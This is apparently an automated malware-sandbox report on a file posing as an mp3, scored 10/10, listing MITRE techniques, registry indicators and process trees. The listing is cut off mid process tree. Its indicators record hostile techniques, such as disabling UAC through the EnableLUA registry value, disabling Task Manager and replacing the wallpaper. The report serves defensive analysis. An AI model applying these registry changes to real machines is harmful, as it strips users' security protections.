0ebf8127819c32188ca8d0b42e18bc45a93a7e59680aeecb9f5b8c25c898c3b9

Analysis

max time kernel
417s
max time network
418s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
24/02/2024, 17:31

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

ssstik.io_1708084199268.mp3
Size

922KB
MD5

fef27df9b4f85a717478fa8beac5ee74
SHA1

4886a4b154e6f9cc4cdef1db32c280bdb0439678
SHA256

0ebf8127819c32188ca8d0b42e18bc45a93a7e59680aeecb9f5b8c25c898c3b9
SHA512

d91a723d10b1f8d0ed1fda94bb38b17ff03aca489d09867f28cffbf0a398e8738b3174f5c46d55d4d975d1d26bc9c630d91a309bab9c956bd6b339180c0f9ddf
SSDEEP

24576:5UZcJxWRIhVU/BN/GrGUSPREqzNXO3RdxqRo9Vukm:5Ue8IhiQwprtSRdxqRT

Score

10^/10

microsoft evasion phishing ransomware trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
evasion

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3464-4186-0x0000000000400000-0x000000000079B000-memory.dmp	upx
behavioral1/memory/3464-4206-0x0000000000400000-0x000000000079B000-memory.dmp	upx
behavioral1/memory/3464-4235-0x0000000000400000-0x000000000079B000-memory.dmp	upx

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe

Detected potential entity reuse from brand microsoft.
phishing microsoft

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\Desktop\Wallpaper = "c:\\bg.bmp"	reg.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "50"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3316742141-2240921845-2885234760-1000\{A419331E-885D-48C7-A5BA-7F9E8E1697D5}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Moniker = "cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings	OpenWith.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2296	reg.exe
5024	reg.exe
2868	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 948198.crdownload:SmartScreen	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
772	msedge.exe
772	msedge.exe
2164	msedge.exe
2164	msedge.exe
4116	identity_helper.exe
4116	identity_helper.exe
772	msedge.exe
772	msedge.exe
4472	msedge.exe
4472	msedge.exe
2236	identity_helper.exe
2236	identity_helper.exe
4696	msedge.exe
4696	msedge.exe
2764	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
3748	msedge.exe
3748	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4828	unregmp2.exe
Token: SeCreatePagefilePrivilege	4828	unregmp2.exe
Token: 33	4288	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4288	AUDIODG.EXE
Token: SeShutdownPrivilege	5164	shutdown.exe
Token: SeRemoteShutdownPrivilege	5164	shutdown.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe

Suspicious use of SendNotifyMessage 50 IoCs

pid	Process
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
2164	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe
4472	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4036	OpenWith.exe
4552	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 4764	2424	wmplayer.exe	90
PID 2424 wrote to memory of 4764	2424	wmplayer.exe	90
PID 2424 wrote to memory of 4764	2424	wmplayer.exe	90
PID 2424 wrote to memory of 1680	2424	wmplayer.exe	91
PID 2424 wrote to memory of 1680	2424	wmplayer.exe	91
PID 2424 wrote to memory of 1680	2424	wmplayer.exe	91
PID 1680 wrote to memory of 4828	1680	unregmp2.exe	92
PID 1680 wrote to memory of 4828	1680	unregmp2.exe	92
PID 2164 wrote to memory of 1096	2164	msedge.exe	100
PID 2164 wrote to memory of 1096	2164	msedge.exe	100
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 3940	2164	msedge.exe	101
PID 2164 wrote to memory of 772	2164	msedge.exe	102
PID 2164 wrote to memory of 772	2164	msedge.exe	102
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103
PID 2164 wrote to memory of 3052	2164	msedge.exe	103

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "C:\Users\Admin\AppData\Local\Temp\ssstik.io_1708084199268.mp3"
1⤵
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "C:\Users\Admin\AppData\Local\Temp\ssstik.io_1708084199268.mp3"
  2⤵
  PID:4764
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:4828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb53146f8,0x7ffcb5314708,0x7ffcb5314718
  2⤵
  PID:1096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2244 /prefetch:2
  2⤵
  PID:3940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2724 /prefetch:8
  2⤵
  PID:3052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:2880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4152 /prefetch:1
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5108 /prefetch:1
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:4080
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
  2⤵
  PID:1904
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,16534617800345453787,10081156492193680902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:4664

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3676

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb53146f8,0x7ffcb5314708,0x7ffcb5314718
  2⤵
  PID:3136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2596 /prefetch:8
  2⤵
  PID:5036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:1556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:5084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
  2⤵
  PID:2508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
